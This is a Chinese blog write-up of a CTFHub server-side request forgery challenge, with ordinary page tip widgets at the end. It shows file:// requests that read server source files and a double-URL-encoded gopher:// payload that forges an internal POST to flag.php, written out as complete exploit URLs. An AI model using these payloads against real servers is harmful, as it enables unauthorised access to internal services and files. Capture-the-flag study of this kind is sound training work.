CTFHUB SSRF POST小记

这关考察的是gopher伪协议构造post请求;

gopher伪协议总结:SSRF笔记整理-CSDN博客

有很多的细节需要注意

  1. 格式:gopher://192.168.232.125:80/_+下面url编码后的内容
  2. 默认访问70端口,访问web时需要改为80端口
  3. %0A时linux下的换行符,windows下需要改为%0D%0A(小写也行,window不区分大小写)
  4. gopher伪协议的数据的第一字符不识别;需要用字符填充代替
  5. POST请求需要一些必须的头部字段

首先进入CTFHUB题目界面;

通过题目知道这是一道POST请求;并且用了curl进行远程资源的请求

访问目标地址发现是空白页面;网页导航栏中有url的参数信息;肯定是有ssrf信息的

通过bp抓取上传包,通过修改url=file:///var/www/html/index.php可以查看index.php的内容;可以看到文件中是通过curl_exec()函数请求远程资源的;curl支持很多的伪协议,http,file,gopher,dict等

通过改变url=file:///var/www/html/flag.php可以查看flag.php的内容;可以发现flag中的内容分为两部分:host地址验证+key值验证;

修改url=http://127.0.0.1/flag.php;发现出现了一个文本框;而且key值也附带了

通过输入123然后进行抓包分析;可以看到post请求包的格式;这里验证的host字段;通过添加X-Forwarded-For字段也是无法绕过的;只能用gopher伪协议

构造gopher伪协议的post请求

必须要有post字段、host字段、文本长度、文本类型、空白行、key值内容

格式和内容如下:

长度要和输入内容数量一致;文本类型需要查看原始post请求中的类型

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length:  36
Content-Type: application/x-www-form-urlencoded

key=28bcbd94a544c291db4c1dd6204b352e

需要对这段内容进行两次urlencode编码(因为浏览器会自动进行urldecode解析且到达目的地之前需要两次url解码:中转网站解析+目标解析)

在线编码地址:在线Unicode编码转换-Unicode和ASCII在线互转-中文转Unicode工具 (jsons.cn)

将上面的文本复制到加密选项中;加密结果如下

此时需要将其中的%0A全部换成%0D%0A;可以直接手动替换;也可以复制到文本中利用文档替换功能进行替换(ctrl+T);替换完成后再次进行url加密得到目标post内容

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D28bcbd94a544c291db4c1dd6204b352e

构造payload:(key值需要根据实际情况改动)

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D8acdac778ad96931f6b5986b70f972ff

完整访问url

http://challenge-7bdc76a73ec76e19.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253D8acdac778ad96931f6b5986b70f972ff

可以看到输出了flag

10

  • 23
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们,赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值